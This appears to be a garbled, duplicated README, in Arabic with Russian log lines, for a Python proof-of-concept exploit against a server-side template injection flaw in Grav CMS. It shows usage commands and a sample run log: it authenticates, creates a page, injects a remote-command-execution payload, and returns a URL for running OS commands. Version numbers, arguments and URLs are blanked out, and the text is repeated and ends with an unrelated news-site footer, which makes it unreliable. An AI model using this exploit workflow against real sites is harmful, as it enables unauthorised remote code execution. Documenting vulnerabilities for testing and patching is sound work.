##
**GenGravSSTIExploit** هو سكربت Python (PoC) يستغل ثغرة حقن القوالب من جانب الخادم (SSTI) المُوثّقة في Grav CMS الإصدارات -p
* ` `: عنوان URL الهدف بالتنسيق `http[s]://hostname`.
* ` `: رقم المنفذ (الافتراضي هو 80).
python GenGravSSTIExploit.py -t -p 8080
إذا نجح الاستغلال، فستحصل على رابط URL يمكنك من خلاله تنفيذ أوامر نظام التشغيل:
[+] RCE payload injected. Visit the malicious page: ?do=
python GenGravSSTIExploit.py -t -p 8080
سينفذ السكربت كل خطوة، وسيزودك بالتحديثات عبر الطرفية. إليك ما قد تراه:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке:
بعد اكتمال السكربت، سترى رسالة تحتوي على رابط الصفحة المحقونة. يمكنك زيارة هذا الرابط لتنفيذ أوامر نظام التشغيل:
زيارة الرابط مع الأمر المحدد ستعرض المخرجات مباشرة على الصفحة:
هذه الأداة مخصصة للأغراض التعليمية فقط. استخدمها بمسؤولية وفقط على الأنظمة التي لديك إذن صريح بها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا السكربت.
**GenGravSSTIExploit** هو سكربت Python (PoC) يستغل ثغرة حقن القوالب من جانب الخادم (SSTI) المُوثّقة في Grav CMS الإصدارات -p
* ` `: عنوان URL الهدف بالتنسيق `http[s]://hostname`.
python GenGravSSTIExploit.py -t -p 8080
إذا نجح الاستغلال، فستحصل على رابط URL يمكنك من خلاله تنفيذ أوامر نظام التشغيل:
[+] Инъекция RCE успешна. Перейдите по ссылке: ?do=
python GenGravSSTIExploit.py -t -p 8080
سينفذ السكربت كل خطوة، وسيزودك بالتحديثات عبر الطرفية. إليك ما قد تراه:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке:
بعد اكتمال عمل السكربت، سترى رسالة تحتوي على رابط الصفحة المحقونة. يمكنك زيارة هذا الرابط لتنفيذ الأوامر:
زيارة الرابط مع الأمر المحدد ستعرض المخرجات مباشرة على الصفحة:
هذه الأداة مخصصة للأغراض التعليمية فقط. استخدمها بمسؤولية وفقط على الأنظمة التي لديك إذن صريح بها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا السكربت.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
